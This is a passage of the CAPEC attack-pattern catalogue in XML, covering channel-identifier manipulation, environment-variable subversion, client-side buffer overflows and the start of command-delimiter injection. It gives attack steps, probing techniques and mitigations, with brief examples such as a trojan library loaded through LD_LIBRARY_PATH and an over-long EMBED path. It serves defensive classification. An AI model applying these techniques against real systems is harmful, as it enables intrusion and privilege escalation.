			<Summary>Attackers aware that more data is being fed into a multicast or public information distribution means can 'select' information bound only for another client, even if the distribution means itself forces users to authenticate in order to connect initally. 
			Doing so allows the attacker to gain access to possibly privileged information, possibly perpetrate other attacks through the distribution means by impersonation.
			If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could change its identifier from a less privileged to more so privileged channel or command.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="">
					<Attack_Step>
						<Attack_Step_Description>Determine the nature of messages being transported as well as the identifiers to be used as part of the attack</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>If required, authenticate to the distribution channel</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>If any particular client's information is available through the transport means simply by selecting a particular identifier, an attacker can simply provide that particular identifier.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>Attackers with client access connecting to output channels could change their channel identifier and see someone else's (perhaps more privileged) data.</Attack_Step_Description>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>Information and client-sensitive (and client-specific) data must be present through a distribution channel available to all users.</Attack_Prerequisite>
			<Attack_Prerequisite>Distribution means must code (through channel, message identifiers, or convention) message destination in a manner visible within the distribution means itself (such as a control channel) or in the messages themselves.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>Very High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>A certain B2B interface on a large application codes for messages passed over a MQSeries queue, on a single "Partners" channel. Messages on that channel code for their client destination based on a partner_ID field, held by each message. That field is a simple integer. Attackers having access to that channel, perhaps a particularly nosey partner, can simply choose to store messages of another parnter's ID and read them as they desire. Note that authentication does not prevent a partner from leveraging this attack on other partners. It simply disallows Attackers without partner status from conducting this attack.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low: All the attacker needs to discover is the format of the messages on the channel/distribution means and the particular identifier used within the messages.</Attacker_Skill_or_Knowledge_Required>
		<Resources_Required>The Attacker needs the ability to control source code or application configuration responsible for selecting which message/channel id is absorbed from the public distribution means.</Resources_Required>
		<Probing_Techniques>
			<Probing_Technique>Assisted protocol analysis: because the protocol under attack is a public channel, or one in which the attacker likely has authorized access to, they need simply to decode the aspect of channel or message interpretation that codes for message identifiers. 
			Probing is as simple as changing this value and watching its effect.</Probing_Technique>
		</Probing_Techniques>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Associate some ACL (in the form of a token) with an authenticated user which they provide middleware. The middleware uses this token as part of its channel/message selection for that client, or part of a discerning authorization decision for privileged channels/messages. 
			The purpose is to architect the system in a way that associates proper authentication/authorization with each channel/message.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Rearchitect system input/output channels as appropriate to distribute self-protecting data. That is, encrypt (or otherwise protect) channels/messages so that only authorized readers can see them.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>This pattern applies in circumstances in which publically accessible distribution means code (through channel, message identifiers, or convention) for client-specific subscription information about messages being distributed. Commonly, this will happen over message-oriented middleware buses, multicast channels, or feeds.</Context_Description>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>201</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>306</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Attack_Patterns>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>21</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>Similar</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
		</Related_Attack_Patterns>
		<Related_Security_Principles>
			<Related_Security_Principle>Complete Mediation</Related_Security_Principle>
		</Related_Security_Principles>
		<Related_Guidelines>
			<Related_Guideline>Use Authentication Mechanisms, Where Appropriate, Correctly</Related_Guideline>
			<Related_Guideline>Use Authorization Mechanisms Correctly: this refers to Ambiguity of authentication. Many authorization systems use ambiguous symbols (i.e., principal names) to identify principals allowing circumvention of authorization by using a different, though equivalent, principal name. For example, there are many implementations for restricting remote host access to local services that may allow many proper&#8212;but apparently different&#8212;names for unique hosts (e.g., fully qualified domain names, shortened names, CNAMEs, IPv4 addresses, IPv6 addresses).</Related_Guideline>
		</Related_Guidelines>
		<Purpose>Penetration</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>Medium</Confidentiality_Impact>
			<Integrity_Impact>Low</Integrity_Impact>
			<Availability_Impact>Low</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
			<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
			<Architectural_Paradigm>SOA</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<Source>
			<Submission>
				<Submitter>John Steven</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-02-10</Submission_Date>
				<Submission_Comment>Initial core pattern content</Submission_Comment>
			</Submission>
			<Modification>
				<Modifier>Chiradeep B. Chhaya</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-23</Modification_Date>
				<Modification_Comment>Fleshed out pattern with extra content</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Description and Related Attack Patterns</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="13" Name="Subverting Environment Variable Values" Pattern_Abstraction="Standard">
		<Description>
			<Summary>The attacker directly or indirectly modifies environment variables used by or controlling the target software.  The attacker's goal is to cause the target software to deviate from its expected operation in a manner that benefits the attacker.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="">
					<Attack_Step>
						<Attack_Step_Description>The attacker probes the application for information. Which version of the application is running? Are there known environment variables? etc.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>The attacker gains control of an environment variable and ties to find out what process(es) the environment variable controls.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>The attacker modifies the environment variable to abuse the normal flow of processes or to gain access to privileged ressources.</Attack_Step_Description>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>An environment variable is accessible to the user.</Attack_Prerequisite>
			<Attack_Prerequisite>An environment variable used by the application can be tainted with user supplied data.</Attack_Prerequisite>
			<Attack_Prerequisite>Input data used in an environment variable is not validated properly.</Attack_Prerequisite>
			<Attack_Prerequisite>The variables encapsulation is not done properly. For instance setting a variable as public in a class makes it visible and an attacker may attemp to manipulate that variable.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>Very High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>Very High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Injection</Method_of_Attack>
			<Method_of_Attack>Modification of Resources</Method_of_Attack>
			<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>Environment variables 

				Changing the LD_LIBRARY_PATH environment variable in TELNET will cause TELNET to use an alternate (possibly Trojan) version of a function library. The Trojan library must be accessible using the target file system and should include Trojan code that will allow the user to log in with a bad password. This requires that the attacker upload the Trojan library to a specific location on the target.
				
				As an alternative to uploading a Trojan file, some file systems support file paths that include remote addresses, such as \\172.16.2.100\shared_files\trojan_dll.dll.</Example-Instance_Description>
				<Example-Instance_Related_Vulnerability>Path Manipulation (CVE-1999-0073)</Example-Instance_Related_Vulnerability>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low: In a web based scenario, the client controls the data that it submitted to the server. So anybody can try to send malicious data and try to bypass the authentication mechanism. 

		Medium/High: Some more advanced attacks may require knowledge about protocols and probing technique which help controling a variable. The malicious user may try to understand the authentication mechanism in order to defeat it.</Attacker_Skill_or_Knowledge_Required>
		<Probing_Techniques>
			<Probing_Technique>An attacker can intentionally modify the client side parameter and monitor how the server behaves in response to that modification. For instance an attacker will look at the cookie data, the URL parameters, the hidden variables in forms, variables used in system calls, etc.</Probing_Technique>
			<Probing_Technique>If the client uses a program in binary format to connect to the server, disassembler can be used to identify parameter within the binary code, and then the attacker would try to simulate the client application and change some of the parameters sent to the server. For instance the attacker may find that a secret key or a path is hard coded in the binary client application.</Probing_Technique>
			<Probing_Technique>Environment variables are frequently stored in cleartext configuration files. If the attacker can modify those configuration files, he can control the environment variables. Even a read access can potentially be dangerous since this may give sensitive information to perform this type of attack. Indeed knowing which environment variables the application uses is a prerequisite to this type of attack.</Probing_Technique>
		</Probing_Techniques>
		<Obfuscation_Techniques>
			<Obfuscation_Technique>The attacker may try to obfuscate its attempts to subvert the target process (such as authentication) by using valid values for the variable she controls. By using valid values the user tries to understand the authentication mechanism. This would be in preparation to a more serious attack.</Obfuscation_Technique>
		</Obfuscation_Techniques>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Protect environment variables against unauthorized read and write access.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Protect the configuration files which contain environment variables against illegitimate read and write access.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Assume all input is malicious.  Create a white list that defines all valid input to the software system based on the requirements specifications.  Input that does not match against the white list should not be permitted to enter into the system.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Apply the least privilege principles. If a process has no legitimate reason to read an environment variable do not give that privilege.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Run Arbitrary Code</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Denial of Service</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Injection_Vector>The client controlled parameter</Injection_Vector>
		<Payload>The new value of the client controlled parameter.</Payload>
		<Activation_Zone>The activation zone is the server side function where the client controlled parameter is consumed.</Activation_Zone>
		<Payload_Activation_Impact>Consuming an attacker contolled parameter can defeat the normal process of the application.</Payload_Activation_Impact>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>353</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>285</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>302</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>74</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>15</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>73</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>20</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>200</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Vulnerabilities>
			<Related_Vulnerability>
				<Vulnerability_ID>CVE-2006-4244</Vulnerability_ID>
				<Vulnerability_Description>SQL-Ledger 2.4.4 through 2.6.17 authenticates users by verifying that the value of the sql-ledger-[username] cookie matches the value of the sessionid parameter, which allows remote attackers to gain access as any logged-in user by setting the cookie and the parameter to the same value.</Vulnerability_Description>
			</Related_Vulnerability>
			<Related_Vulnerability>
				<Vulnerability_ID>CVE-2006-2734</Vulnerability_ID>
				<Vulnerability_Description>enter.asp in Mini-Nuke 2.3 and earlier makes it easier for remote attackers to conduct password guessing attacks by setting the guvenlik parameter to the same value as the hidden gguvenlik parameter, which bypasses a verification step because the guvenlik parameter is assumed to be immutable by the attacker.</Vulnerability_Description>
			</Related_Vulnerability>
			<Related_Vulnerability>
				<Vulnerability_ID>CVE-2006-2527</Vulnerability_ID>
				<Vulnerability_Description>Admin/admin.php in phpBazar 2.1.0 and earlier allows remote attackers to bypass the authentication process and gain unauthorized access to the administrative section by setting the action parameter to edit_member and the value parameter to 1.</Vulnerability_Description>
			</Related_Vulnerability>
			<Related_Vulnerability>
				<Vulnerability_ID>CVE-2006-1505</Vulnerability_ID>
				<Vulnerability_Description>base_maintenance.php in Basic Analysis and Security Engine (BASE) before 1.2.4 (melissa), when running in standalone mode, allows remote attackers to bypass authentication, possibly by setting the standalone parameter to &quot;yes&quot;.</Vulnerability_Description>
			</Related_Vulnerability>
		</Related_Vulnerabilities>
		<Related_Attack_Patterns>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>77</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>More Detailed</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>76</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>More Abstract</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>14</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>Occasionally Precedes</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>10</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>Similar</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
		</Related_Attack_Patterns>
		<Related_Security_Principles>
			<Related_Security_Principle>Reluctance to trust</Related_Security_Principle>
		</Related_Security_Principles>
		<Related_Guidelines>
			<Related_Guideline>Always perform wise data validation. Do not accept tainted data without validation. Do not simply base authentication on the client controlled parameter.</Related_Guideline>
			<Related_Guideline>Avoid relying on client side validation only.</Related_Guideline>
		</Related_Guidelines>
		<Purpose>Penetration</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>Medium</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>Low</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Reference>
			<Reference>CWE - Input Validation</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-03-01</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Eric Dalci</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-13</Modification_Date>
				<Modification_Comment>Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software"</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-05</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Name, Description and Related Attack Patterns</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="14" Name="Client-side Injection-induced Buffer Overflow" Pattern_Abstraction="Detailed">
		<Description>
			<Summary>This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="">
					<Attack_Step>
						<Attack_Step_Description>The attacker creates a custom hostile service</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>The attacker acquires information about the kind of client attaching to her hostile service to determine if it contains an exploitable buffer overflow vulnerability.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>The attacker intentionally feeds malicious data to the client to exploit the buffer overflow vulnerability that she has uncovered.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>The attacker leverages the exploit to execute arbitrary code or to cause a denial of service.</Attack_Step_Description>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>The targeted client software communicates with an external server.</Attack_Prerequisite>
			<Attack_Prerequisite>The targeted client software has a buffer oveflow vulnerability.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>Medium</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>API Abuse</Method_of_Attack>
			<Method_of_Attack>Injection</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>Attack Example: Buffer Overflow in Internet Explorer 4.0 Via EMBED Tag

				Authors often use &lt;EMBED&gt; tags in HTML documents. For example
				
				&lt;EMBED TYPE=&quot;audio/midi&quot; SRC=&quot;/path/file.mid&quot; AUTOSTART=&quot;true&quot;&gt;
				
				If an attacker supplies an overly long path in the SRC= directive, the mshtml.dll component will suffer a buffer overflow. This is a standard example of content in a Web page being directed to exploit a faulty module in the system. There are potentially thousands of different ways data can propagate into a given system, thus these kinds of attacks will continue to be found in the wild.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low : To achieve a denial of service, an attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector.
		High : Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap requires a more in-depth knowledge and higher skill level.</Attacker_Skill_or_Knowledge_Required>
		<Probing_Techniques>
			<Probing_Technique>The server may look like a valid server, but in reality it may be a hostile server aimed at fooling the client software. For instance the server can use honey pots and get the client to download malicious code.</Probing_Technique>
			<Probing_Technique>Once engaged with the client, the hostile server may attempt to scan the client's host for open ports and potential vulnerabilities in the client software.</Probing_Technique>
			<Probing_Technique>The hostile server may also attempt to install and run malicious code on the client software. That malicious code can be used to scan the client software for buffer overflow.</Probing_Technique>
		</Probing_Techniques>
		<Indicators-Warnings_of_Attack>
			<Indicator-Warning_of_Attack>An example of indicator is when the client software crashes after executing code downloaded from a hostile server.</Indicator-Warning_of_Attack>
		</Indicators-Warnings_of_Attack>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>The client software should not install untrusted code from a non authenticated server.</Solution_or_Mitigation>
			<Solution_or_Mitigation>The client software should have the latest patches and should be audited for vulnerabilities before being used to communicate with potentially hostile servers.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Perform input validation for length of buffer inputs.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use a language or compiler that performs automatic bounds checking.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use an abstraction library to abstract away risky APIs. Not a complete solution.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Ensure all buffer uses are consistently bounds-checked.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use OS-level preventative functionality. Not a complete solution.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Denial of Service</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Run Arbitrary Code</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>"Backwash Attacks: Leveraging Client-side Buffer Overflows

		Nothing is more forward than directly attacking those who are attacking you. In many cases this philosophy is instantiated as a series of denial-of-service attacks launched in either direction. In standard scenarios, you can learn what IP address is being used to attack you, and then you can follow up with an attack of your own. (Be forewarned, however, that the legal ramifications of counterattack are drastic.) If the attacker is dumb enough to have open services, you may in some cases be able to own their system.
		
		This has led some security types to consider a rather insidious tactic&#8212;creating hostile network services that look like valid targets. The basic idea builds on the idea of honey pots, but goes one important step further. Because most client software contains buffer overflows and other vulnerabilities, including a capacity to exploit these weaknesses directly when probed is within the realm of possibility.
		
		Not surprisingly, of all the code that gets tested and probed in a security situation, client code is usually ignored. This is one of the reasons that client code ends up with more serious problems than server code. If a vulnerable client attaches to a hostile service, the hostile service can attempt to identify the type and version of the client that is connecting. This is a variety of fingerprinting.
		
		Once the client is properly identified, the hostile server can issue a response that exploits a buffer overflow (or some other security defect) in the client. Typically this kind of attack is not designed simply just to crash the client. Attackers using this technique can inject a virus or backdoor into the original attacker's computer using their own connection against them.
		
		Obviously, this kind of "backwash attack" is a serious threat to an attacker. Anyone planning to attack arbitrary systems should assume that a backwash attack can and will happen. Any and all client software should be carefully audited before use."</Context_Description>
		<Payload>Attacker-supplied data potentially containing malicious code.</Payload>
		<Activation_Zone>When the function returns control to the main program, it jumps to the return address portion of the stack frame. Unfortunately that return address may have been overwritten by the overflowed buffer and the address may contain a call to a privileged command or to malicious code.</Activation_Zone>
		<Payload_Activation_Impact>The most common are remote code execution or denial of service.</Payload_Activation_Impact>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>120</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>353</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>118</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>119</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>74</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>20</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>680</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>697</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>713</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Attack_Patterns>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>8</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>More Detailed</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
		</Related_Attack_Patterns>
		<Related_Security_Principles>
			<Related_Security_Principle>Reluctance to Trust</Related_Security_Principle>
			<Related_Security_Principle>Defense in Depth</Related_Security_Principle>
		</Related_Security_Principles>
		<Purpose>Penetration</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>High</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
			<Architectural_Paradigm>Other</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Reference>
			<Reference>CWE - Buffer Errors</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-03-01</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Eric Dalci</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-13</Modification_Date>
				<Modification_Comment>Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software"</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-05</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Related Attack Patterns</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="15" Name="Command Delimiters" Pattern_Abstraction="Standard">
		<Description>
			<Summary>An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or a blacklist input validation, as opposed to whitelist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or blacklist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="Explore">
					<Attack_Step>
						<Attack_Step_Title>Assess Target Runtime Environment</Attack_Step_Title>
						<Attack_Step_Description>In situations where the runtime environment is not implicitly known, the attacker makes connections to the target system and tries to determine the system's runtime environment. Knowing the environment is vital to choosing the correct delimiters.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Port mapping using network connection-based software (e.g., nmap, nessus, etc.)</Attack_Step_Technique_Description>
							<Environments>env-ClientServer env-Embedded env-CommProtocol env-Peer2Peer env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Port mapping by exploring the operating system (netstat, sockstat, etc.)</Attack_Step_Technique_Description>
							<Environments>env-Local</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>TCP/IP Fingerprinting</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Induce errors to find informative error messages</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c15s1i1" type="Positive">
							<Indicator_Description>The target software accepts connections via the network.</Indicator_Description>
							<Environments>env-Web env-CommProtocol env-Peer2Peer env-Embedded</Environments>
						</Indicator>
						<Outcome ID="c15s1o1" type="Success">Operating environment (operating system, language, and/or middleware) is correctly identified.</Outcome>
						<Outcome ID="c15s1o2" type="Inconclusive">Multiple candidate operating environments are suggested.</Outcome>
						<Security_Control ID="c15s1s1" type="Preventative">Provide misleading information on TCIP/IP fingerprints (some operating systems can be configured to send signatures that match other operating systems).</Security_Control>
						<Security_Control ID="c15s1s2" type="Preventative">Provide misleading information at the server level (e.g., Apache, IIS, WebLogic, etc.) to announce a different server software.</Security_Control>
						<Security_Control ID="c15s1s3" type="Detective">Some fingerprinting techniques can be detected by operating systems or by network IDS systems because they leave the network connection half-open, or they do not belong to a valid, open connection.</Security_Control>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Title>Survey the Application</Attack_Step_Title>
						<Attack_Step_Description>The attacker surveys the target application, possibly as a valid and authenticated user</Attack_Step_Description>
